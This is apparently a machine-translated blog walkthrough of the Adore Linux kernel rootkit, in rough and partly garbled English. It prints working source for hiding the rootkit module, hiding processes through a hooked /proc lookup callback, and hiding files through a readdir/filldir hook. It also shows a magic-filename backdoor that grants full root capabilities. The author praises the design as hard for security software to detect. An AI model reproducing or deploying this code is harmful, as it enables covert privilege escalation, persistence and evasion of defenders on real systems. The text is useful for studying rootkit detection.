this rootkit The technology used is no better than the previous one , It's not blocking system calls , Instead, it intercepts the callback function of the specific file system , The callback function of its own file system is dynamically registered , Very uncertain , So anti black software can't simply conclude that this function is black out , So this rootkit Looks a little better than the previous one , natural , Since it's a kernel module , So module hiding is also an important content , Here is a simple module hidden code , The premise of using this code is to load the module immediately after the module you want to hide :
...// Omit header file
int init_module()
{
if (__this_module.next) // The logic is simple , Because the hidden module is loaded before this module , Then you need to change the next Just a pointer
__this_module.next = __this_module.next->next;
return 0;
}
...// ellipsis
The rootkit The first step is to build a bitmap with all the processes hidden_procs, If which process needs to be hidden , Then, the pid Location 1, Reverse 0
inline void hide_proc(pid_t x)
{
if (x >= PID_MAX || x == 1)
return;
hidden_procs[x/8] |= 1<<(x%8);
}
inline void unhide_proc(pid_t x)
{
if (x >= PID_MAX)
return;
hidden_procs[x/8] &= ~(1<<(x%8));
}
The following function is actually the same as the rootkit irrelevant , Just a help function , But it's listed , The meaning of this function is to convert a string to a number
int adore_atoi(const char *str)
{
int ret = 0, mul = 1;
const char *ptr;
for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++) ;
ptr--;
while (ptr >= str) {
if (*ptr < '0' || *ptr > '9')
break;
ret += (*ptr - '0') * mul;
mul *= 10;
ptr--;
}
return ret;
}
The following function determines whether a process is hidden , It's very simple , Simply put, if the pid The corresponding position is 1, Then it's time to hide , On the contrary, it should not be hidden , There's another strategy , Even the child processes of hidden processes should be hidden :
int should_be_hidden(pid_t pid)
{
struct task_struct *p = NULL;
if (is_invisible(pid)) {
return 1;
}
p = adore_find_task(pid);
if (!p)
return 0;
task_lock(p);
if (is_invisible(p->parent->pid)) {
task_unlock(p);
hide_proc(pid);
return 1;
}
task_unlock(p);
return 0;
}
View the process's ps The command is mainly traversal /proc Root directory of the file system , As long as it's numerical, it's considered a process pid, The rootkit The strategy for hiding processes is simple , namely :
sprintf(buf, APREFIX"/hide-%d", pid);
close(open(buf, O_RDWR|O_CREAT, 0));
because open System call will definitely call lookup Callback function , Then it's time lookup Chinese article , If you want to hide pid by n Process of , Let's go first /proc Create a new file hide-n file , Because we've blacked out the details proc File system lookup The callback function is adore_lookup, So we can put the operation of hidden process in the lookup in , In the lookup If the prefix of a file is found in hide-, Then we call hide_proc function , concrete pid The string after the fifth character of the new file is converted to a number . be careful , this adore_lookup Function kill two birds with one stone , In new with hide- The prefix file will be hidden , stay ps When the command is used to view the process, if it is a hidden file, it will return NULL, Someone here might ask , stay /proc The directory does not have permission to create new files , yes , No permission , The point is that we don't create a new file , Instead, you just want the execution flow to arrive lookup, To call hide_proc Purpose of , That's it :
struct dentry *adore_lookup(struct inode *i, struct dentry *d)
{
task_lock(current);
if (strncmp(ADORE_KEY, d->d_iname, strlen(ADORE_KEY)) == 0) {
current->flags |= PF_AUTH;
current->suid = ADORE_VERSION;
} else if ((current->flags & PF_AUTH) && strncmp(d->d_iname, "fullprivs", 9)
== 0) {
...// All id Set to 0, representative root
cap_set_full(current->cap_effective);
cap_set_full(current->cap_inheritable);
cap_set_full(current->cap_permitted);
} else if ((current->flags & PF_AUTH) && strncmp(d->d_iname, "hide-", 5) == 0)
{ // Want to hide processes , Only in proc Create a new directory hide-(pid) that will do
hide_proc(adore_atoi(d->d_iname+5));
} else if ((current->flags & PF_AUTH) && strncmp(d->d_iname, "unhide-", 7) ==
0) {
unhide_proc(adore_atoi(d->d_iname+7));
} else if ((current->flags & PF_AUTH) && strncmp(d->d_iname, "uninstall", 9)
== 0) {
cleanup_module();
}
task_unlock(current);
if (should_be_hidden(adore_atoi(d->d_iname)) &&
!should_be_hidden(current->pid))
return NULL;
return orig_proc_lookup(i, d);
}
only this and nothing more , Process is hidden , How to hide the port ? It's simple , The same way , intercept /proc File system is it , How to hide the final file ? If you want to achieve ls The directory of hidden files cannot be displayed , The simple way is to black out the file system readdir Callback function :
int adore_root_readdir(struct file *fp, void *buf, filldir_t filldir)
{
int r = 0;
if (!fp || !fp->f_vfsmnt)
return 0;
root_filldir = filldir; // Save the original filldir
root_sb[current->pid % 1024] = fp->f_vfsmnt->mnt_sb;
r = orig_root_readdir(fp, buf, adore_root_filldir);
return r;
}
int adore_root_filldir(void *buf, const char *name, int nlen, loff_t off,
ino_t ino, unsigned x)
{
struct inode *inode = NULL;
int r = 0;
uid_t uid;
gid_t gid;
if ((inode = iget(root_sb[current->pid % 1024], ino)) == NULL)
return 0;
uid = inode->i_uid;
gid = inode->i_gid;
iput(inode);
if (uid == ELITE_UID && gid == ELITE_GID) {
// If the uid and gid Set to implement the agreed id, It means that the file is to be hidden , Want to hide files , Just call lchown The uid and gid Just change
r = 0; // If you encounter a hidden file, go back and don't continue searching
} else
r = root_filldir(buf, name, nlen, off, ino, x); // If you don't need to hide , Then call the original filldir
return r;
}
be careful , book rootkit Not intercepted getdents64 and getdents System call itself , It's a direct intercept getdentsXX Called file_operations In readdir Callback function , It's flexible and hard to find , After all, anti black programs can monitor the address of system calls, but not the address of callback functions , Because it's important that I register a new file system , Then there will be a new address , If it's anti hacking, it's going to kill you one day , As file systems grow , The anti black program will span the whole system .
only this and nothing more , The rootkit The general framework of has been built , And the last rootkit presumably , The rootkit More hidden , No machine related assembly code that is error prone , Standards only c The pointer operation of language is enough , Very intuitive , Farewell to assembly , You need to have a simple understanding of the process of kernel file system , Very good .
Technology
Daily Recommendation